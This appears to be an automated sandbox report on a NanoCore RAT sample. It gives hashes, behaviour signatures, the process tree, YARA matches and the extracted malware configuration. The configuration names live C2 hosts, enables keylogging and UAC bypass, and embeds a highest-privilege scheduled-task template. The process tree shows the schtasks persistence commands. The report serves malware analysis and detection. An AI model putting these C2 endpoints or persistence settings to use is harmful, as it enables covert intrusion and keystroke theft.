Play interactive tour

Edit tour

Analysis Report zunUbtZ2Y3.exe

Overview

General Information

Sample Name:	zunUbtZ2Y3.exe
Analysis ID:	384233
MD5:	5ea59097fb7eed4ac42b666ac548d39c
SHA1:	919a1f62dc0358405d1d8a07dd9c1c7f1a6c1d87
SHA256:	b4457b3e745bbed3ab4d61442ae846c3a06d42280c2937e406e48fea05fed6e0
Tags:	exeNanoCoreRAT
Infos:
Most interesting Screenshot:

Detection

Nanocore

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected Nanocore Rat

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: NanoCore

Sigma detected: Scheduled temp file as task from temp location

Yara detected AntiVM autoit script

Yara detected Nanocore RAT

.NET source code contains potential unpacker

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Protects its processes via BreakOnTermination flag

Uses dynamic DNS services

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Antivirus or Machine Learning detection for unpacked file

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

zunUbtZ2Y3.exe (PID: 4728 cmdline: 'C:\Users\user\Desktop\zunUbtZ2Y3.exe' MD5: 5EA59097FB7EED4AC42B666AC548D39C)

nfiuc.pif (PID: 984 cmdline: 'C:\Users\user\AppData\Roaming\22032878\nfiuc.pif' xaso.fhr MD5: 51663CBA5E7E841A0443112BF5E57049)

RegSvcs.exe (PID: 5660 cmdline: C:\Users\user\AppData\Local\Temp\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

schtasks.exe (PID: 5844 cmdline: 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp3E2B.tmp' MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5556 cmdline: 'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmp4272.tmp' MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 2864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

RegSvcs.exe (PID: 5036 cmdline: C:\Users\user\AppData\Local\Temp\RegSvcs.exe 0 MD5: 2867A3817C9245F7CF518524DFD18F28)

conhost.exe (PID: 4936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

dhcpmon.exe (PID: 1472 cmdline: 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe' 0 MD5: 2867A3817C9245F7CF518524DFD18F28)

conhost.exe (PID: 1440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

nfiuc.pif (PID: 1380 cmdline: 'C:\Users\user\AppData\Roaming\22032878\nfiuc.pif' C:\Users\user\AppData\Roaming\22032878\xaso.fhr MD5: 51663CBA5E7E841A0443112BF5E57049)

RegSvcs.exe (PID: 4876 cmdline: C:\Users\user\AppData\Local\Temp\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

wscript.exe (PID: 4612 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Roaming\22032878\Update.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

dhcpmon.exe (PID: 2044 cmdline: 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe' MD5: 2867A3817C9245F7CF518524DFD18F28)

conhost.exe (PID: 4808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: NanoCore

{"Version": "1.2.2.0", "Mutex": "8080abe9-dca0-4fda-b289-40c56bb7", "Group": "FREE", "Domain1": "strongodss.ddns.net", "Domain2": "79.134.225.40", "Port": 48154, "KeyboardLogging": "Enable", "RunOnStartup": "Enable", "RequestElevation": "Disable", "BypassUAC": "Enable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Enable", "SetCriticalProcess": "Enable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Enable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5000, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8009, "BufferSize": "02000100", "MaxPacketSize": "", "GCThreshold": "", "BypassUserAccountControlData": "<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n  <RegistrationInfo />\r\n  <Triggers />\r\n  <Principals>\r\n    <Principal id=\"Author\">\r\n      <LogonType>InteractiveToken</LogonType>\r\n      <RunLevel>HighestAvailable</RunLevel>\r\n    </Principal>\r\n  </Principals>\r\n  <Settings>\r\n    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n    <AllowHardTerminate>true</AllowHardTerminate>\r\n    <StartWhenAvailable>false</StartWhenAvailable>\r\n    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n    <IdleSettings>\r\n      <StopOnIdleEnd>false</StopOnIdleEnd>\r\n      <RestartOnIdle>false</RestartOnIdle>\r\n    </IdleSettings>\r\n    <AllowStartOnDemand>true</AllowStartOnDemand>\r\n    <Enabled>true</Enabled>\r\n    <Hidden>false</Hidden>\r\n    <RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n    <WakeToRun>false</WakeToRun>\r\n    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n    <Priority>4</Priority>\r\n  </Settings>\r\n  <Actions Context=\"Author\">\r\n    <Exec>\r\n      <Command>\"#EXECUTABLEPATH\"</Command>\r\n      <Arguments>$(Arg0)</Arguments>\r\n    </Exec>\r\n  </Actions>\r\n</Task"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000003.708352984.000000000474B000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x10c2d:$x1: NanoCore.ClientPluginHost 0x10c6a:$x2: IClientNetworkHost 0x1479d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.708352984.000000000474B000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.708352984.000000000474B000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x10995:$a: NanoCore 0x109a5:$a: NanoCore 0x10bd9:$a: NanoCore 0x10bed:$a: NanoCore 0x10c2d:$a: NanoCore 0x109f4:$b: ClientPlugin 0x10bf6:$b: ClientPlugin 0x10c36:$b: ClientPlugin 0x10b1b:$c: ProjectData 0x11522:$d: DESCrypto 0x18eee:$e: KeepAlive 0x16edc:$g: LogClientMessage 0x130d7:$i: get_Connected 0x11858:$j: #=q 0x11888:$j: #=q 0x118a4:$j: #=q 0x118d4:$j: #=q 0x118f0:$j: #=q 0x1190c:$j: #=q 0x1193c:$j: #=q 0x11958:$j: #=q
0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xff8d:$x1: NanoCore.ClientPluginHost 0xffca:$x2: IClientNetworkHost 0x13afd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfcf5:$a: NanoCore 0xfd05:$a: NanoCore 0xff39:$a: NanoCore 0xff4d:$a: NanoCore 0xff8d:$a: NanoCore 0xfd54:$b: ClientPlugin 0xff56:$b: ClientPlugin 0xff96:$b: ClientPlugin 0xfe7b:$c: ProjectData 0x10882:$d: DESCrypto 0x1824e:$e: KeepAlive 0x1623c:$g: LogClientMessage 0x12437:$i: get_Connected 0x10bb8:$j: #=q 0x10be8:$j: #=q 0x10c04:$j: #=q 0x10c34:$j: #=q 0x10c50:$j: #=q 0x10c6c:$j: #=q 0x10c9c:$j: #=q 0x10cb8:$j: #=q
0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf425:$x1: NanoCore.ClientPluginHost 0x43c2d:$x1: NanoCore.ClientPluginHost 0xf462:$x2: IClientNetworkHost 0x43c6a:$x2: IClientNetworkHost 0x12f95:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x4779d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf18d:$a: NanoCore 0xf19d:$a: NanoCore 0xf3d1:$a: NanoCore 0xf3e5:$a: NanoCore 0xf425:$a: NanoCore 0x43995:$a: NanoCore 0x439a5:$a: NanoCore 0x43bd9:$a: NanoCore 0x43bed:$a: NanoCore 0x43c2d:$a: NanoCore 0xf1ec:$b: ClientPlugin 0xf3ee:$b: ClientPlugin 0xf42e:$b: ClientPlugin 0x439f4:$b: ClientPlugin 0x43bf6:$b: ClientPlugin 0x43c36:$b: ClientPlugin 0xf313:$c: ProjectData 0x43b1b:$c: ProjectData 0xfd1a:$d: DESCrypto 0x44522:$d: DESCrypto 0x176e6:$e: KeepAlive
00000001.00000003.677255613.000000000423F000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf1b5:$x1: NanoCore.ClientPluginHost 0x439bd:$x1: NanoCore.ClientPluginHost 0xf1f2:$x2: IClientNetworkHost 0x439fa:$x2: IClientNetworkHost 0x12d25:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x4752d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000003.677255613.000000000423F000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.677255613.000000000423F000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xef1d:$a: NanoCore 0xef2d:$a: NanoCore 0xf161:$a: NanoCore 0xf175:$a: NanoCore 0xf1b5:$a: NanoCore 0x43725:$a: NanoCore 0x43735:$a: NanoCore 0x43969:$a: NanoCore 0x4397d:$a: NanoCore 0x439bd:$a: NanoCore 0xef7c:$b: ClientPlugin 0xf17e:$b: ClientPlugin 0xf1be:$b: ClientPlugin 0x43784:$b: ClientPlugin 0x43986:$b: ClientPlugin 0x439c6:$b: ClientPlugin 0xf0a3:$c: ProjectData 0x438ab:$c: ProjectData 0xfaaa:$d: DESCrypto 0x442b2:$d: DESCrypto 0x17476:$e: KeepAlive
00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x109bd:$x1: NanoCore.ClientPluginHost 0x109fa:$x2: IClientNetworkHost 0x1452d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x10725:$a: NanoCore 0x10735:$a: NanoCore 0x10969:$a: NanoCore 0x1097d:$a: NanoCore 0x109bd:$a: NanoCore 0x10784:$b: ClientPlugin 0x10986:$b: ClientPlugin 0x109c6:$b: ClientPlugin 0x108ab:$c: ProjectData 0x112b2:$d: DESCrypto 0x18c7e:$e: KeepAlive 0x16c6c:$g: LogClientMessage 0x12e67:$i: get_Connected 0x115e8:$j: #=q 0x11618:$j: #=q 0x11634:$j: #=q 0x11664:$j: #=q 0x11680:$j: #=q 0x1169c:$j: #=q 0x116cc:$j: #=q 0x116e8:$j: #=q
00000001.00000003.679566684.00000000041A1000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf195:$x1: NanoCore.ClientPluginHost 0xf1d2:$x2: IClientNetworkHost 0x12d05:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000003.679566684.00000000041A1000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.679566684.00000000041A1000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xeefd:$a: NanoCore 0xef0d:$a: NanoCore 0xf141:$a: NanoCore 0xf155:$a: NanoCore 0xf195:$a: NanoCore 0xef5c:$b: ClientPlugin 0xf15e:$b: ClientPlugin 0xf19e:$b: ClientPlugin 0xf083:$c: ProjectData 0xfa8a:$d: DESCrypto 0x17456:$e: KeepAlive 0x15444:$g: LogClientMessage 0x1163f:$i: get_Connected 0xfdc0:$j: #=q 0xfdf0:$j: #=q 0xfe0c:$j: #=q 0xfe3c:$j: #=q 0xfe58:$j: #=q 0xfe74:$j: #=q 0xfea4:$j: #=q 0xfec0:$j: #=q
00000001.00000003.679501436.00000000041D5000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf99d:$x1: NanoCore.ClientPluginHost 0xf9da:$x2: IClientNetworkHost 0x1350d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000003.679501436.00000000041D5000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.679501436.00000000041D5000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf705:$a: NanoCore 0xf715:$a: NanoCore 0xf949:$a: NanoCore 0xf95d:$a: NanoCore 0xf99d:$a: NanoCore 0xf764:$b: ClientPlugin 0xf966:$b: ClientPlugin 0xf9a6:$b: ClientPlugin 0xf88b:$c: ProjectData 0x10292:$d: DESCrypto 0x17c5e:$e: KeepAlive 0x15c4c:$g: LogClientMessage 0x11e47:$i: get_Connected 0x105c8:$j: #=q 0x105f8:$j: #=q 0x10614:$j: #=q 0x10644:$j: #=q 0x10660:$j: #=q 0x1067c:$j: #=q 0x106ac:$j: #=q 0x106c8:$j: #=q
00000002.00000002.923227276.00000000028C1000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.710662958.0000000004646000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf405:$x1: NanoCore.ClientPluginHost 0xf442:$x2: IClientNetworkHost 0x12f75:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.710662958.0000000004646000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.710662958.0000000004646000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf16d:$a: NanoCore 0xf17d:$a: NanoCore 0xf3b1:$a: NanoCore 0xf3c5:$a: NanoCore 0xf405:$a: NanoCore 0xf1cc:$b: ClientPlugin 0xf3ce:$b: ClientPlugin 0xf40e:$b: ClientPlugin 0xf2f3:$c: ProjectData 0xfcfa:$d: DESCrypto 0x176c6:$e: KeepAlive 0x156b4:$g: LogClientMessage 0x118af:$i: get_Connected 0x10030:$j: #=q 0x10060:$j: #=q 0x1007c:$j: #=q 0x100ac:$j: #=q 0x100c8:$j: #=q 0x100e4:$j: #=q 0x10114:$j: #=q 0x10130:$j: #=q
0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x485ad:$a: NanoCore 0x48606:$a: NanoCore 0x48643:$a: NanoCore 0x486bc:$a: NanoCore 0x4dc51:$a: NanoCore 0x4dc9b:$a: NanoCore 0x4de85:$a: NanoCore 0x617a4:$a: NanoCore 0x617b9:$a: NanoCore 0x617ee:$a: NanoCore 0x7a743:$a: NanoCore 0x7a758:$a: NanoCore 0x7a78d:$a: NanoCore 0x4860f:$b: ClientPlugin 0x4864c:$b: ClientPlugin 0x48f4a:$b: ClientPlugin 0x48f57:$b: ClientPlugin 0x4d9ea:$b: ClientPlugin 0x4dc5a:$b: ClientPlugin 0x4dca4:$b: ClientPlugin 0x61560:$b: ClientPlugin
0000000B.00000003.710938676.0000000004611000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xfbfd:$x1: NanoCore.ClientPluginHost 0xfc3a:$x2: IClientNetworkHost 0x1376d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.710938676.0000000004611000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.710938676.0000000004611000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf965:$a: NanoCore 0xf975:$a: NanoCore 0xfba9:$a: NanoCore 0xfbbd:$a: NanoCore 0xfbfd:$a: NanoCore 0xf9c4:$b: ClientPlugin 0xfbc6:$b: ClientPlugin 0xfc06:$b: ClientPlugin 0xfaeb:$c: ProjectData 0x104f2:$d: DESCrypto 0x17ebe:$e: KeepAlive 0x15eac:$g: LogClientMessage 0x120a7:$i: get_Connected 0x10828:$j: #=q 0x10858:$j: #=q 0x10874:$j: #=q 0x108a4:$j: #=q 0x108c0:$j: #=q 0x108dc:$j: #=q 0x1090c:$j: #=q 0x10928:$j: #=q
0000000B.00000003.707826555.00000000046AF000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf415:$x1: NanoCore.ClientPluginHost 0x43c1d:$x1: NanoCore.ClientPluginHost 0xf452:$x2: IClientNetworkHost 0x43c5a:$x2: IClientNetworkHost 0x12f85:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x4778d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.707826555.00000000046AF000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.707826555.00000000046AF000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf17d:$a: NanoCore 0xf18d:$a: NanoCore 0xf3c1:$a: NanoCore 0xf3d5:$a: NanoCore 0xf415:$a: NanoCore 0x43985:$a: NanoCore 0x43995:$a: NanoCore 0x43bc9:$a: NanoCore 0x43bdd:$a: NanoCore 0x43c1d:$a: NanoCore 0xf1dc:$b: ClientPlugin 0xf3de:$b: ClientPlugin 0xf41e:$b: ClientPlugin 0x439e4:$b: ClientPlugin 0x43be6:$b: ClientPlugin 0x43c26:$b: ClientPlugin 0xf303:$c: ProjectData 0x43b0b:$c: ProjectData 0xfd0a:$d: DESCrypto 0x44512:$d: DESCrypto 0x176d6:$e: KeepAlive
0000000B.00000003.710381105.000000000467A000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xfc0d:$x1: NanoCore.ClientPluginHost 0xfc4a:$x2: IClientNetworkHost 0x1377d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.710381105.000000000467A000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.710381105.000000000467A000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf975:$a: NanoCore 0xf985:$a: NanoCore 0xfbb9:$a: NanoCore 0xfbcd:$a: NanoCore 0xfc0d:$a: NanoCore 0xf9d4:$b: ClientPlugin 0xfbd6:$b: ClientPlugin 0xfc16:$b: ClientPlugin 0xfafb:$c: ProjectData 0x10502:$d: DESCrypto 0x17ece:$e: KeepAlive 0x15ebc:$g: LogClientMessage 0x120b7:$i: get_Connected 0x10838:$j: #=q 0x10868:$j: #=q 0x10884:$j: #=q 0x108b4:$j: #=q 0x108d0:$j: #=q 0x108ec:$j: #=q 0x1091c:$j: #=q 0x10938:$j: #=q
00000001.00000003.679383356.000000000420A000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf9ad:$x1: NanoCore.ClientPluginHost 0xf9ea:$x2: IClientNetworkHost 0x1351d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000003.679383356.000000000420A000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.679383356.000000000420A000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf715:$a: NanoCore 0xf725:$a: NanoCore 0xf959:$a: NanoCore 0xf96d:$a: NanoCore 0xf9ad:$a: NanoCore 0xf774:$b: ClientPlugin 0xf976:$b: ClientPlugin 0xf9b6:$b: ClientPlugin 0xf89b:$c: ProjectData 0x102a2:$d: DESCrypto 0x17c6e:$e: KeepAlive 0x15c5c:$g: LogClientMessage 0x11e57:$i: get_Connected 0x105d8:$j: #=q 0x10608:$j: #=q 0x10624:$j: #=q 0x10654:$j: #=q 0x10670:$j: #=q 0x1068c:$j: #=q 0x106bc:$j: #=q 0x106d8:$j: #=q
00000001.00000003.678729204.0000000004155000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf9dd:$x1: NanoCore.ClientPluginHost 0xfa1a:$x2: IClientNetworkHost 0x1354d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000003.678729204.0000000004155000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.678729204.0000000004155000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xf745:$a: NanoCore 0xf755:$a: NanoCore 0xf989:$a: NanoCore 0xf99d:$a: NanoCore 0xf9dd:$a: NanoCore 0xf7a4:$b: ClientPlugin 0xf9a6:$b: ClientPlugin 0xf9e6:$b: ClientPlugin 0xf8cb:$c: ProjectData 0x102d2:$d: DESCrypto 0x17c9e:$e: KeepAlive 0x15c8c:$g: LogClientMessage 0x11e87:$i: get_Connected 0x10608:$j: #=q 0x10638:$j: #=q 0x10654:$j: #=q 0x10684:$j: #=q 0x106a0:$j: #=q 0x106bc:$j: #=q 0x106ec:$j: #=q 0x10708:$j: #=q
00000002.00000002.927044565.00000000060B0000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost
00000002.00000002.927044565.00000000060B0000.00000004.00000001.sdmp	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost
00000002.00000002.927044565.00000000060B0000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.676679410.00000000041D5000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xfd8d:$x1: NanoCore.ClientPluginHost 0xfdca:$x2: IClientNetworkHost 0x138fd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
00000001.00000003.676679410.00000000041D5000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
00000001.00000003.676679410.00000000041D5000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfaf5:$a: NanoCore 0xfb05:$a: NanoCore 0xfd39:$a: NanoCore 0xfd4d:$a: NanoCore 0xfd8d:$a: NanoCore 0xfb54:$b: ClientPlugin 0xfd56:$b: ClientPlugin 0xfd96:$b: ClientPlugin 0xfc7b:$c: ProjectData 0x10682:$d: DESCrypto 0x1804e:$e: KeepAlive 0x1603c:$g: LogClientMessage 0x12237:$i: get_Connected 0x109b8:$j: #=q 0x109e8:$j: #=q 0x10a04:$j: #=q 0x10a34:$j: #=q 0x10a50:$j: #=q 0x10a6c:$j: #=q 0x10a9c:$j: #=q 0x10ab8:$j: #=q
0000000B.00000003.707511293.000000000467A000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xfffd:$x1: NanoCore.ClientPluginHost 0x1003a:$x2: IClientNetworkHost 0x13b6d:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.707511293.000000000467A000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
0000000B.00000003.707511293.000000000467A000.00000004.00000001.sdmp	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfd65:$a: NanoCore 0xfd75:$a: NanoCore 0xffa9:$a: NanoCore 0xffbd:$a: NanoCore 0xfffd:$a: NanoCore 0xfdc4:$b: ClientPlugin 0xffc6:$b: ClientPlugin 0x10006:$b: ClientPlugin 0xfeeb:$c: ProjectData 0x108f2:$d: DESCrypto 0x182be:$e: KeepAlive 0x162ac:$g: LogClientMessage 0x124a7:$i: get_Connected 0x10c28:$j: #=q 0x10c58:$j: #=q 0x10c74:$j: #=q 0x10ca4:$j: #=q 0x10cc0:$j: #=q 0x10cdc:$j: #=q 0x10d0c:$j: #=q 0x10d28:$j: #=q
0000000B.00000003.709101376.00000000039C8000.00000004.00000001.sdmp	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xfc65:$x1: NanoCore.ClientPluginHost 0xfca2:$x2: IClientNetworkHost 0x137d5:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
0000000B.00000003.709101376.00000000039C8000.00000004.00000001.sdmp	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
